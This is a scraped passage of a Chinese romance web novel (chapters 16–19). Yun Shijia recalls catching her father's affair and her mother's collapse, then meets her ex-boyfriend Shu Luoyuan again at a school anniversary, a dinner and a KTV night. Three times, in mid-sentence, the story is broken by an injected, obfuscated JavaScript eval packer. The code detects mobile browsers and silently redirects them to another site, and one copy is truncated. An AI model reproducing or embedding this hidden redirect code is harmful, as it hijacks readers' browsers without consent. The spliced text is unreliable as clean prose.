云诗加睁开眼,看见陈明华讨好的笑脸凑在她的驾驶座车窗上,她的皮卡车隔音一般,陈明华的声音漏进来。 他说:“加加,你回来啦,上去坐坐呗,爸爸想你了……” 话没说完,云诗加放下手刹、挂挡、起步、转弯离开。 往工作室开到一半,前方路上发生了一起交通事故,她被堵在一侧车道围观了全过程,身后的车在疯狂摁喇叭催促,她不耐地皱眉。 那辆被追尾的车后排坐着一个大肚子的孕妇,从车里钻出来站在路旁拍着胸脯压惊,车主估计是她的丈夫,赤红着脸直接拎着后车男司机的领子压在挡风玻璃上,隔着老远云诗加都能估摸着他没说什么好话。 瞧,这虽然是个鲁莽的丈夫,但应当算是个保护家人的好人。 不像陈明华,连母亲高龄怀上的孩子都能生生被他气没了。 现在又像失忆了似的,企图让家庭继续温暖地拥抱他,对他不计前嫌。 怎么会有人这么大把年纪还这么天真呢? 偏偏这个人还是她爸。 云诗加简直是发笑地摇了摇头。 陈明华要只是出轨,或许她还能对他表面虚与委蛇一下,但后来发生的那件事,让她对陈明华是真恨上了。 大学开学前的那个暑假,她打工攒了一笔小钱,舒洛原后来每晚都到烧烤店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343796|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来接她下班,坐公交车送她回去以后再回家。 那天是舒洛原最后一天送她回家,他隔日一早的高铁票去北城报道。 云诗加家的筒子楼跟隔壁幢中间有一条没什么人的小路,夹着几簇野草,蚊虫也很多,但他们不管不顾地在路的尽头湿吻。 舒洛原吻得很认真,灼热的气息呼在她的耳畔,她搂着他的劲腰,指尖颤抖,预想中的分别全都化作了难耐的悸动。 他的手指插进了她的发间,捧住她的后脑勺,这样他可以吻得更深,她的发丝就这样缠绕在他的手指上。 某个她换气的瞬间,她把脸埋在他宽阔的胸膛上大口喘着气。 就在这时,她听见了这条小路上还有人。 四周太黑,太静,只有远处的犬吠声传来。 她听见小路的入口闯进来两个人的脚步声,一个是高跟鞋,一个是皮鞋,两人都步履凌乱。 舒洛原埋在她的颈间浑然不知,他还在呢喃着:“加加,你会想我的吧?” 云诗加从小就对声音很敏感,她小时候被父母托给外婆照顾,但每到周末,云画和陈明华到外婆家看她的声音,她都能提前捕捉到,外婆总笑着说她鬼精鬼精的,像头顶有信号天线一样。 云画走路的脚步声很轻,带着她独特的频率,他们骑的摩托车有独特的轰鸣声,老远就能分辨出来,还有,陈明华喜欢把各种钥匙都拴在裤腰带上,走路时会发出独特的金属碰撞声。 她在黑暗中听见了那串钥匙的声音,还有皮带扣打在金属上的声音。 几乎是一瞬间,她不假思索地拉着舒洛原的手往更深处跑,筒子楼的后面和围墙只隔着将将能通过一人的距离,她跑得很快,手掌摸索着蹭过墙面。 即便如此,她还是捕捉到小路那头有人在喘息着轻声说: “我的心肝儿,想死我了,我家大肚婆不让我弄,我都快憋死了!” 她动情的热欲早就像被一盆冷水从头到脚浇透了。 舒洛原没反应过来,浑然不知发生了什么,只是跟着她跑,直到绕到了筒子楼的另一边,她停了下来,他才问:“怎么了?” 这里路灯照得很亮,云诗加撑起一抹笑,说:“没什么,突然想探险一下。” 舒洛原伸手刮了一下她的鼻梁,问说:“那你也该跑慢点,不小心弄伤了怎么办?不过刚才我好像听见,后面是不是有什么声音?” “没有啊,”她攥住擦伤的手掌不让他发现,又飞快地否认,“前面楼有人养狗,可能是狗在叫吧。” “哦……”舒洛原没在意,低下头来凑近她的耳朵,轻声塞进他的腻语:“加加,还亲吗?” “不要了。” 云诗加低下头来,在舒洛原看来是羞赧,他不知道她的脸红与心脏砰砰直跳并不是因为刚才的吻。 “那……那我看你上去了再走。” “不了,你快回去吧,我怕被我妈看见。”云诗加飞快地说着。 舒洛原:“看见了也没关系,我会向你妈妈证明我对你的好,让她放心的。” 云诗加心里的涟漪动了一下,又很快平静,她催促道:“我……我还没做好准备让你和我家里人见面,下次吧。你快走吧,那边灯亮些,你往那边从后门出去吧。” 舒洛原有些恋恋不舍,他揉搓了一下她的头顶,又把背在身上的包递给她。 “行,听你的,那你在申城也要好好照顾自己,我一有空就来看你,好吗?” 云诗加用力点头:“好!” 她往楼道口走了两步,舒洛原还是没走,定在原地依恋地看着她的背影。 那条小路的入口距离楼道口只有几步之遥,她害怕他听见什么或者撞见什么,明明是夏末,她却觉得身上发冷,像走在刚要融化的薄冰上,战战兢兢。 进楼道口之前,她努力向后挤出一抹甜蜜的微笑,挥了挥手。 舒洛原也朝她挥挥手,向后走去。 云诗加舒了口气,没有上楼,躲在楼道口的阴影里,听着自己的心脏逐渐恢复平稳的跳动后,她才准备上楼。 这时,楼道里的声控感应灯亮了,她听见有人从楼上走下来。 她又捕捉到熟悉的声音,那是她妈云画下楼的声音,她的步履又轻又慢,她都能想象出云画一手摸着小腹一手扶着栏杆小心翼翼的样子。 17. 017 贵人事忙 “妈妈。” 云诗加喊了一声。 云画从楼梯栏杆的缝隙处往下看,惊讶地说:“你回来啦?” 云诗加语无伦次:“对,妈,你下楼干嘛?扔垃圾吗?我来帮你扔!” 她三步并作两步跑上去,接过云画手里的垃圾袋就要往下跑。 但云画注意到她手上的红色,抓住了女儿的胳膊,忧心忡忡地问:“手掌怎么了?是打工弄伤的吗?” 掌心的擦伤在云画的注视下突然变得刺痛,云诗加收回了手,握紧了拳头说:“没事,我不小心擦伤的。” 云画皱眉:“不行,女孩子的手弄成这样多难看,家里的碘伏好像用完了,我去给你买一点。” “不用了!” 云诗加拽住了母亲的衣角,看见母亲穿着一身棉布做的睡衣,衣角已经开裂了,露出里面的棉线,背后也洗得有些透明了。 云画却很坚持:“不行!门口就有一家药店,很方便的。” 云诗加忙说:“那我自己去买,行吗?妈妈你怀孕了,好好休息吧。” 云画摸了摸肚子,还是坚持说:“我正好也要去散散步,你打工也累了一天了吧,你先上去休息。” “妈,你别去了。” 云诗加又一次劝道,但那天不知怎的,云画像提前知道什么似的,硬要往楼下走,云诗加一手提着垃圾袋,一手又不敢硬拽母亲的身体,只能扶着她慢慢走,心里祈祷陈明华和他的姘头已经离开了。 偏偏就是那么巧,云诗加搀着母亲走出了楼道口,看见陈明华一脸贪足地提着裤腰带从那条小路走出来,身后跟着一个衣着暴露浓妆艳抹的女人。 陈明华的脸上有光影微微晃动,像鬼影一般。 云画垂头盯着自己的脚尖,看见自己廉价的塑料拖鞋里露出两排苍白而浮肿的脚趾,她莫名其妙地笑了笑。 下一秒,云诗加感觉手里扶着的母亲突然变得软绵绵的,她倒了下去。 后来的记忆变得很纷乱,云诗加记得,那一晚,她看见救护车蓝红色的灯光穿透进这条小路,地上和墙上都闪烁着奇怪的光斑。 楼上的人们从窗口探出头来,陈明华提着裤子上了车,救护车呜呜远去。 云诗加被留在了原地,接受人们的议论与注视。 她准备抬着麻木的双腿回楼道时,突然看见月亮突然出来了,投在小路里那片男女媾合过的杂草上,冷冷的一片。 - 校庆这天是个周末,天空又下了点小雨,空气里发着黏。 涂玉棋和高胜寒开车路过云诗加的工作室,把她捎上了。 三人一行找了个附近商场的停车场停好车,一路步行过去。 涂玉棋穿一身嫩绿色套裙,云诗加穿了那天和妈妈逛街买的黄色连衣裙,踩着白色小高跟,两人共撑了一把黑伞,云诗加挽着涂玉棋的手肘一路走,绕过几个小水塘,进了梅中的校门。 梅中校门口张灯结彩,拉了一个巨大的拱门,欢迎校友们回校参观,进门正对着一面巨大的签到墙,背景印着梅中的经典的两幢红色小楼建筑,已经有不少人在签到墙上签了名。 涂玉棋拉着云诗加在签到墙上找名字。 校庆邀请了不少各行各业的大佬回校做分享。 “欸你看,这个李勇,是不是我们那一届的李勇啊?我记得你当时还跟他起冲突了。” 云诗加失笑:“你倒是火眼金睛,这么多名字里你都能挑出来认识的人。” 高胜寒向旁边的人借了只笔,找了个角落签了名,把笔递到涂玉棋和云诗加面前。 云诗加推了推:“我就不签了吧,我算哪门子校友。” 涂玉棋接过笔,在高胜寒的签名旁边刷刷签了自己的大名。 “这咋了,我们好歹也是接受过梅中教育的好吧,我就腆着脸签了。” 走进那条长长的甬道,两旁的大树依旧郁郁葱葱,比他们读书时看起来还更高大了些,云诗加想起第一次拿着舒洛原的校园卡,进入梅中的场景,她低头笑了笑。 来参加校庆的不仅有同龄人,还有许多比他们年纪更大的,有些甚至已经白发苍苍,但依旧脸上挂着笑容,几个老年校友还穿着梅中当年的校服,唱着校歌从他们三人一行旁雄赳赳气昂昂地路过。 “我们老了能有这精神气吗?”涂玉棋看得目瞪口呆。 云诗加调侃她:“你的精力一向好,估计老了也厉害,不过就是高胜寒要惨了,老了怕是跟不上你跳广场舞的步伐。” 涂玉棋一脸促狭地推了她一把。 高胜寒也一脸笑意,突然指着海报说:“这不是那个谁吗?” 甬道上贴了两排知名校友的海报,其中有几个很眼熟,跟他们一届的某位学术怪物已经靠科技创业在硅谷拿到了B轮融资,还有某位在校时普通的艺术生如今成为了国内雕塑新星。 海报上的他们,穿着正式,成功人士的模样,和过去的稚嫩气质已经截然不同了。 梅中的天才很多,每一届都有奇才。 云诗加难免在这种时刻想到舒洛原。 舒洛原算是他们那一届万众瞩目的存在了,用一种令人嫉妒的悠闲散漫的姿态,就这么遥遥领先,早早就把半只脚跨进清大的门槛,再加上他的那张脸,像阳光晒过的青草,她即便和梅中人不熟悉也略有耳闻,不少人曾经明恋或暗恋过他。 可是现在呢? 云诗加环顾四周,大家都在讨论那些在社会上获得显著成就的校友们,学校里的那些风波云涌已经走远,而舒洛原像一颗遥远的行星,也与他们目光所及的璀璨焦点渐行渐远了。 涂玉棋碰到了一个工作上认识的人,过去寒暄了一番,回来时神采奕奕地拉着云诗加八卦。 “你知道刚才那人有多离谱吗?之前跟我在一个学校的,她当行政的,莫名其妙造谣说我喜欢我们学校一个领导,结果你猜怎么着?” 云诗加接茬:“她怎么了?” 涂玉棋眉眼间得意起来:“结果她才是喜欢那个领导的人,而且那个领导已经结婚了,她非要跟人家搞婚外情,你说这人离谱不离谱?” 云诗加抿嘴笑了一下:“所以她这是贼喊捉贼?” “对!你这个总结很到位,我之前还奇怪呢,我说我和那个领导除了工作连多余的话都没讲过一句,原来她是拿我当幌子啊!职场上的坏人真的老多了!” 云诗加对此深有感悟:“是啊……我之前那领导也很令人作呕!” 涂玉棋知晓她辞职就是为了那个恶心领导,便也同仇敌忾起来:“还是我们这种校园里的友情比较真诚!你那个领导我诅咒他早日阳痿被老婆甩了!” “哈哈哈……咳咳。”云诗加喝着水,被涂玉棋没头脑的诅咒逗笑了,差点呛水。 走过甬道,绕过红色小楼,涂玉棋拉着云诗加从走廊走近了原先高三一班的教室,教室门锁上了,两人扒着玻璃窗往里望,不免感慨地相视一笑。 高胜寒在身后催促两位女士:“老婆……报告厅估计都快坐满了,我们赶紧去吧。” 云诗加一看时间,确实不早了,离校庆时间表上的活动开始时间只有不到十五分钟,三人一行往林荫道后面的报告厅快步走去。 进报告厅前,涂玉棋突然停下:“对了,有件事忘记跟你说了,刚刚聊八卦的时候才突然想到,又被你打了岔,之前老高跟舒洛原联系上的时候,舒洛原莫名其妙问高胜寒有没有去参加你的婚礼。” 云诗加跟着停了下来,盯着鞋面若有所思地问:“然后呢?” “老高当然说没有啊,你说舒洛原怎么会觉得你结婚了呢?老高还来问我呢,他怀疑是不是我替你瞒着呢,别我骂了一顿,我说你怎么可能结婚都不告诉我呢!哎呦,我那段时间刚开学,一大堆工作,忙起来就忘记跟你讲了。” 云诗加笑着点头,小声说:“原来是你告诉他的……” “欸你好你好,好巧啊,王律师!”涂玉棋翩翩跟一个过去的同学打了个招呼,一时没听清:“加,你刚刚说什么?” “没什么。” 云诗加对着那个眼熟的同学也温和一笑,然后趁着人家转头拿宣传册的功夫,她偷偷问涂玉棋:“这人是谁啊?” 涂玉棋扶额:“拜托,他高三就坐在我们前面的前面啊……王重,现在在当律师。” 云诗加想起来了一点:“哦……好像有点印象。” “你这记性,还能记得啥呀!” 王重给他们三人也各拿了本校庆宣传册,邀着他们一齐往里走。 进了报告厅,里面已经坐得很满了,王重认识的人很多,过去一一打了招呼,又找了个后排的位置朝他们招手。 刚一落座,云诗加就看见前排坐了个熟悉的人。 很恰好,舒洛原就在斜前方,离她就一臂之隔,他的眉眼下垂,手在屏幕上不断点击,大约是在发消息,指骨还是一如既往的纤长分明,左手小指上套着一枚简单的银色戒圈,莫名有些性感。 云诗加的睫毛一闪,她没记错的话,那枚戒指是她亲手做的。 大学时流行过一阵手作风,手作陶瓷、手作布画、手作T恤……都作为他们的约会项目,他们一一体验过。 她在手工活方面实在没什么天赋,第一次尝试做银戒,戒面甚至被她敲得坑坑洼洼,做出来的尺寸也很奇怪,她的几根手指都不合适,只能戴在大拇指上,最后不知道被她丢在哪里了。 没想到在他那里。 或许是某次见面时落下的。 “好巧啊!舒大帅哥!” 涂玉棋拍了拍前面的椅背,招呼他。 云诗加还没来得及阻止,涂玉棋和高胜寒就很惊喜地叫他过来坐。 高胜寒尤其开心,见到了久违的同桌,他一直拉着舒洛原盘问: “你小子!去了美国就连兄弟都不要了!上次好不容易跟你联系上,你说你回国了,约了你几次也不出来!这回被我逮到了吧!” 舒洛原在高胜寒旁边的椅子上坐下来,头靠着海绵椅背,扭了扭脖子,“没办法啊,每天一睁眼,就是一堆事儿等着我去干, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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每到这时,她无法直说内心的龃龉,她不能说,舒洛原,其实我们并不相配,我们总有一天会分开的,我不想有一天让别人看我的笑话。 她只有一招,百试不厌。 主动吻他,抱住他劲窄的腰,然后再羞怯地伸出舌尖在他的耳骨旁摩梭。 他总会为之疯狂,将她压在绵软的床铺里,他喘着粗气,褪去上衣时,他眼睛里的灰色疑团就消失不见了,变成橘红色的火焰,将她吞噬在里面。 等一切都燃烧殆尽,她蜷缩在他的怀里,指尖在他光裸的胸肌上游走,他总会怕痒地抓住她调皮的指尖,握着她的手往唇边一吻,像对待一件珍贵的宝藏。 相聚的时间不多,他也不想把宝贵的时间用来质问和争吵,他想,他的加加或许是脸皮薄,还是该多给她一点时间。 但他没想到,再多的时间也没有换来她的真心。 望着在人堆里与人互换名片的云诗加,舒洛原觉得,她脸上的巧笑倩兮刺眼极了。 校庆活动结束后,许多人围聚在报告厅门口社交,云诗加虽然来之前百般推拒,但她一向是既来之则安之的人,来都来了,那就借着假校友的身份发一波名片,哪怕只有一丝商机她也不愿意错过。 外面依旧下着雨。 一番社交后,云诗加站在屋檐下等人,涂玉棋和高胜寒去上厕所了。 雨声潺潺,身上竟有些发冷,早晨出门时为了这身连衣裙的上身效果,硬是没穿外套,此刻裸露在外的小臂汗毛竖起,她搓了搓手臂。 “没开车吗?” 身后有个声音,很近,云诗加回头,舒洛原就站在她的正后方,面色严肃,不知道的还以为在问什么重要大事。 “没。”她说。 “哦。”他说。 良久的沉默后,她听见他清了清嗓子,“去餐厅吗?我可以捎你一程。” “不用,”她第一反应就是拒绝,“我在等……” “他会来送你?”舒洛原飞快地打断她,他的面色几乎可以说是铁青了。 “什么……?” “让他不用来了。” 舒洛原冷冷地说了一句,蓦地拽住她的手往阶梯下走,黑色雨伞“砰”地一声打开,罩在她的头顶。 到了学校停车场,舒洛原将她塞进他的副驾驶上,自己上了驾驶座。 车门落锁,但他没有启动车辆。 车厢幽闭,他瞥了她一眼,“毕业以后你回梅中看过吗?” 云诗加摇头看他,不知道他想说什么。 “你什么时候回苏城的?”他问。 “毕业就回来了。”她说。 他沉默半晌,嘲讽地笑了一下,“还说我贵人事忙,我看你比我忙得多了。” 云诗加讪讪笑说:“进梅中要登记什么的,我也不算梅中人,不太方便进来。但我后来有去看望过卢飞雁老师,她还是像以前一样,没怎么变,干劲十足的样子,就是更瘦了一些,她说生了个女儿,变得更操劳了,但她谈起女儿,脸上的笑很温柔。” 舒洛原默默听她说着,他启动了车辆,餐厅不远,就在距离梅中几百米的商场里,但校庆的缘故,路上很堵。 车厢寂静,云诗加隔着梅中的校门望向甬道两侧的校友名牌海报,她在年少时的预想中,舒洛原是一定会出现在这上面的。 她突然想问出那个盘旋在心头很久的问题:“舒洛原,那你呢?什么时候回苏城的,为什么回来?” 18. 018 珊瑚海 到了餐厅门口,雨突然停了。 舒洛原开了车门,长腿几步迈过车头,修长的手指摁住车门,绅士姿态请她下了车。 他的车架高,云诗加踮脚下了车,嫩黄色的连衣裙裙摆在水洼旁打了个旋儿,舒洛原瞧了一眼。 涂玉棋和高胜寒不知为何比他们先到了,站在餐厅门口和老同学们寒暄。 云诗加刚给涂玉棋发了消息说自己先走。 涂玉棋也是没想到,云诗加说的先走是和舒洛原先走,她第一次从这两位身上嗅到了一些八卦的气息,于是她挤到云诗加面前,努努嘴,眨眨眼。 云诗加有些此地无银三百两:“下雨嘛,正好碰见。” “哦……正好……”涂玉棋拖长了音调,意味深长。 “走吧,进去了。” 舒洛原负责订的餐厅,中档价位的苏帮菜,包了一个两桌的包厢,大家知道他为这次聚会赞助了一半经费,推他坐在景观最好的主座上,他也并没假意推辞,笑着帮其他人安排座位,妥帖地把交好的人拉着坐在一起。 云诗加拉着涂玉棋坐在了隔壁桌的角落。 席间,有个女同学跟他说笑:“舒洛原,你还是跟以前一样帅啊!” “哪有。”他的语气淡然。 女同学早就结了婚生了二胎,家庭和睦,看见老同学也不免问一句:“你结婚了吗?有对象吗?好久没听见你的消息了,我们大家都好奇着呢。” 不少人听见都投来了目光,云诗加也跟着看过去,舒洛原的眼睛里亮晶晶的,似乎要将视线转过来。 她很快别开了目光,转移注意力,问身旁的同学在做什么职业。 “我啊,一直孤身一人。”他的语气恹恹,似乎有些惆怅似的。 众人一听,忙七嘴八舌说:“我们给你介绍一个!”“男人三十一枝花!急什么!” 冷盘已经上全了,舒洛原站起来敬大家的酒,“那倒是不必,我已经对某人钟情已久了,这辈子应该是没有办法移情别恋了。” 云诗加本来夹了颗鸡头米,听到这句,手一抖,鸡斗米滚到了转盘底下去了。 众人静了一瞬,都是人精,立马听出他的话意。 “哦……我懂了!”几个男生起哄,“怕是要说给我们在场的哪位听吧?” “欸,你这话说得太直接了,我们舒总要不好意思的!” 舒洛原说笑着敬大家的酒:“谢谢大家的到场,这杯敬我们的青春。” 说完他将杯中酒一饮而尽。 大家纷纷称好,场面一下热闹了起来,都是成年人,也没人再提起刚才的话题。 舒洛原在他们那桌敬完酒,又到了云诗加这桌来,他绕过圆桌的前几位,走到角落里,将手随意地搭在云诗加身后的椅背上,抬起又斟满的酒杯,语气微妙:“我就不说那些空话了,什么前程似锦,什么一帆风顺,我祝大家弥补遗憾,各求心安和圆满吧!” “说得好!舒洛原,你说话还是这么有水平!” “我干了!大家随意!” “那我也干了!” 云诗加跟着众人一齐站起身,举着玻璃杯里的茶水,目光低垂,嘬饮了一口。 旁边有同学注意到她,促狭地问:“欸,云诗加,你怎么没倒酒啊?” “我今天……”云诗加随口就想扯一个不大不小的谎。 “你喝了酒等会儿谁开我的车?”舒洛原气定神闲地替她解围。 说完他拿起桌上的酒瓶又给自己倒了一杯,又一饮而尽。 “舒总好酒量啊!” 云诗加静静地看着那杯晶亮的液体滑入他的口腔,喉结滚动,他目光垂向她的眼睛,里面藏着点点微光,似乎有雨点落下。 其余人识相地坐下,投来暧昧的眼神。 云诗加咬了咬唇,他并没说什么别的,让她无从辩解,只能闷头吃菜。 好在这家餐厅的菜色不错,红烧肉和鳗鱼浓油赤酱,几道小炒菜清爽可口,海鲜与鸡汤又鲜得正好,她每道菜只尝了一两口,不知不觉竟已吃得十成饱了。 一顿饭毕,几位上有老下有小的已婚已育人士向大家道别早归,只剩十人应邀去KTV进行下一场活动,不少人围在大厅门口,祝福着涂玉棋和高胜寒这对即将步入婚姻殿堂的恋人,感慨着高中时那几对爱得轰轰烈烈,最终却都走散了,没想到最后是他们这对原本八竿子打不着的成了。 涂玉棋和高胜寒还带了一些喜糖和喜饼分发,职业缘故他们没法宴请四方,只能用这种方式表示一下。 云诗加上了个厕所,打算默不作声地偷偷溜走,谁知撞上了刚发完喜糖的涂玉棋。 涂玉棋朝她挤挤眼:“去下一场嘛?” 云诗加看着洗头台上没关掉的水龙头发了一秒呆:“我就……不去了吧。” 涂玉棋把空了的喜糖袋子扔进垃圾桶,走到她并排,也洗了个手:“去呗,来都来了,你又没孩子没老公的,能有啥一定要回家的事情?再说了,我还有话跟你聊呢,好久没见了。” 云诗加抽了张纸巾擦手:“那……下次再聊呗。” 涂玉棋哪肯轻易放过她,半拉半拽地把她往大厅带,逼问:“好啊,还敢瞒着我,我这双火眼金睛,你能瞒得过去嘛?” 云诗加苦笑着叹了口气。 到了KTV,打牌的打牌,喝酒的喝酒,唱歌的唱歌。 涂玉棋拉着云诗加点了首情歌对唱,涂玉棋喝得不少,发酒疯似的拿着话筒鬼哭狼嚎一番,云诗加跟着瞎唱了几句,算是一道把一首好歌给毁了。 唱完一遍副歌,涂玉棋脑袋发晕,栽在高胜寒的怀里昏昏欲睡。 云诗加见她不唱了,便走到点歌台前想把歌切了,谁知间奏正好结束,舒洛原不知何时站在了中间大屏前,持着落地麦克风接着唱下去,清浅的嗓音从扬声器里播放出来,像一张旧时的老唱片。 「毁坏的沙雕怎么重来 有裂痕的爱怎么重盖…… 我们的爱差异一直存在,回不来…… 当初彼此,你我都不够坦白……」 唱到几句高潮,他的嗓音有几分颤,云诗加分不清,是情至所以,还是高音所致。 几个人鼓起了掌,说他唱得好。 云诗加也跟着鼓掌,想到多少年前的天台。 烟花与歌声,青春与遗憾。 她竟莫名心潮澎湃。 直到他的眼神穿过暧昧的光影和人群,看向她,她才如梦初醒,推门出去了。 舒洛原没多久便追了出来。 KTV的走廊上人声嘈杂,她听见他跟在后面问:“要走了吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351872|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 云诗加埋头往外走,咬唇摇头:“没有,里面太闷了,我出去透透气。” 云诗加下了楼梯,走到了外面,已经是深夜,这家KTV位于一个开放式天幕商场,店门外只有潮意和夜风,顶棚将雨点隔绝在外。 “外面在下雨,别走太远。”他推门说。 云诗加往外走了几步,旁边有一排景观树和长椅,她挑了棵合眼的树下站着。 她吸了口潮湿发黏的空气,感觉心潮被冷风吹散了一些,才回过头看他。 而他也在看她。 他今天穿了件条纹衬衫,领口松了两颗扣子,露出一点点锁骨,衣袖挽在手肘上,露出小臂利落的线条,头发简单抓了一把,并没什么多余的装点。 她不得不承认,她仍旧在因为他而心动。 她没法坦荡地面对他。 可她抗拒这样的失控,于是她出口便是质问:“舒洛原,你为什么要在他们面前说那样的话?” “加加,我不懂你在说什么。”他的脸上是全然的无辜,带着酒气的眼睛雾蒙蒙的。 “你刚刚说什么……什么不能移情别恋,还有叫我开车……你分明是在话里有话,居心叵测!” 她说得越磕巴,他越是心平气和:“我说的不是事实吗?” “我没答应替你开车,你可以叫代驾。” 舒洛原笑了,他漫不经心地控诉她:“那剩下的呢,都是事实咯。” 她假装无所谓的脸孔终于有了一丝裂痕,“舒洛原,我没记错的话,我们已经分手了,你也答应了,你现在算什么?对我死缠烂打?旧情复燃?不管是哪个,也不符合你当年说的话吧。” 气氛有片刻的凝滞。 舒洛原知道她在说哪句话,他曾经如此气急败坏地、愤懑哀怨地说过,他后悔爱她这个心硬如石的女人。 当时她只是颤抖着唇,瞥给他灰暗的一眼,她说,舒洛原,那我们分手吧,希望这次你不要再后悔。 他当时带着哽咽,面对她的冷心冷语,没法欺骗自己再继续下去,他说,好,我永远不会后悔。 可是后来呢,隔着万水千山,他没有一天不在后悔。 哪怕他当时再牵一次她的手,好好与她讲。 或许他们的结局就会不一样。 “加加,你方才问我为什么回来,我没有回答,是因为我不知道如何回答。 如果我说,我是因为事业发展和家庭顾虑回来,那我是在撒谎。 如果我说,我是为了你回来,会吓跑你吗?” 舒洛原内心还没来得及感慨,这是一个多么深情缱绻的场面—— 深夜,小雨朦胧,初恋,推心置腹,舍弃那些不必要的面子和气话,好好地说几句话,他相信她会明白他的真心。 但长久的寂静后,景观树后面传来清脆的“啪嗒”一声,一个打火机从侧面掉出来,滚到了舒洛原的脚后跟。 “不好意思,不好意思,你们继续,打扰了……” 王重从树后点头哈腰地走出来,捡起打火机又跑了回去,边跑边往另一个人背上呼了一巴掌,两人一瞬就窜进了KTV的大门。 他们不知何时溜出来抽烟,好不容易摸出一个打火机,烟还没点上,就吃了这么大一个瓜,惊得不敢动弹,打火机失手掉了出来。 19. 019 赤红关系 等到那几人推搡着消失在KTV门口后,云诗加收回目光,摸了一下耳环,她的眼里闪烁着犹疑,以及打断的庆幸。 窸窸窣窣的声音消失了,她说:“回来就好,家乡总是让人怀念的,老人都说要落叶归根,你回来也算是给家乡建设添砖加瓦。” 舒洛原满腔的热忱突然被卸了力。 云诗加是一块温润的玉石。 在他们那么好的那几年,他像清澈的流水一样,流经她的全部,把她的尖锐棱角都磨得光滑晶亮,她对世界的愤懑与激进都被他磨平了,他曾以为这是一件好事。 可如今,她变得愈加圆滑,捏在手里端详时一错手便会溜走,变成了他握不住的鹅卵石。 她笑意盈盈,滑不溜手,片叶不沾身。 她在他缺席的这么多年里,把所有棱角都包裹了起来,藏在了最深处,外面裹着一层糖浆,迷惑人心,却也让人接近不得。 “我能添什么砖加什么瓦,”他嘲讽地笑笑,“我不给家乡添乱就不错了。” 云诗加蹙眉看他:“你可是梅中的优秀毕业生,还是清大的优秀毕业生,大有用武之地。” 舒洛原低头看她:“你还记得这些呢,那你还记得你答应过我的事情吗?” 云诗加转身就想走了,回忆细节并不是她擅长的,但她刚走几步,就被舒洛原堵住了去路。 “要回?”他并没强留,“我送你吧。” “你喝了酒,我自己打车就行,你等会儿自己叫代驾。” “不用,我叫尹奇睿出来送我们,他就住在这个附近。”他说。 “不用麻烦了。” “不麻烦,”舒洛原从口袋里掏出手机,拨了个号码过去,语气利落中带点威胁:“你家附近那家KTV,过来开车,快点。” 说完便挂了电话。 云诗加把耳畔的发丝撩到胸前,清了清嗓子说:“尹总跟你关系挺好的。” “嗯,”他沉默了一会儿,又说:“国外那几年,他照顾我挺多的,几次生病都是他陪我去的医院。” “你生病了?”她几乎是脱口而出,想了想又补了一句,“我随便问问,没有打探隐私的意思。” 舒洛原刚要说什么,尹奇睿回拨了电话,他接起电话报了停车的具体位置,拉着她往停车场走。 停车场有个转角,他突然靠过来,凑在她的耳边呵了一口气,他又轻又慢地说:“放心,我的病都痊愈了,不影响身体,也不影响运动,特别是……那方面。” 云诗加的耳廓立马变得能滴血一样的红。 她的脚步变得又快又乱,高跟鞋踢踢踏踏的,不知怎的,细条绑带竟在卡扣处啪嗒断了,她险些摔了一跤。 舒洛原眼疾手快接住了她的后背,她还是像过去一样轻盈柔润,他的一只手托住了她的蝴蝶骨,另一只手索性抄起了她的腿窝,将她轻巧地抱了起来。 “你干嘛?” 云诗加怕掉下去,也不敢挣扎,只能眼睁睁看着自己的身体离了地,男人温热的胸膛一下贴在了脸颊上。 舒洛原步履平稳,还往上颠了一把,引得她尖叫了一声,声音在空旷的地下室扩散开。 “怎么不多穿件?胳膊都是冷的。”他皱眉,指尖触到她的胳膊都是冰凉的一片。 “不用你管。”云诗加别过头,故意不看他。 “不用我管?” 舒洛原将她拥得更紧了,几乎将她折叠起来,然后往上托颠了一把,重心突然向上又稳稳地落在他怀里,失重的感觉让她气急败坏,她扬手打了他一拳,用力到能通过固体传声听见咚的闷闷一声。 舒洛原不怒反笑,又凑到她耳边,坏笑着说:“加加,还记得吗?那时候你也喜欢打我的胸膛,每次你……受不住的时候……” 他把这句话说得暧昧又冗长,云诗加觉得后背都爬满了蚂蚁般发痒,羞耻心简直要将她吞噬了去。 就在云诗加满脑子黄色废料,计划着怎么摆脱这尴尬时刻时,尹奇睿如天降神兵,出现在了停车位上,笑眯眯地朝他们打招呼:“呦,来啦,滴滴代驾为您服务。” 说完,尹奇睿还真给他们开了车门,单手护着门顶,一副真要讨个五星好评的样子。 舒洛原把云诗加横抱着放进了后座,转头睨了他一眼,“上次你要的那幅画送你了。” 尹奇睿高兴地拍了一记大腿,“好嘞好嘞,乘客请系好安全带,我马上发车!” 说完立马提升了更高级的服务,尹奇睿抽出座位后的安全带。 “不用,我来。” 舒洛原夺过安全带,俯身给她系上,衣服布料的摩挲间,云诗加听见他“咦”了一声,似乎是没摸到侧边的安全带扣,她忙接过他手里的安全带,咔哒一声,利索地扣上了。 “……” 舒洛原绕到另一侧上了车,云诗加报上了自己家的地址,又给涂玉琪发消息道歉说自己身体不适先走了。 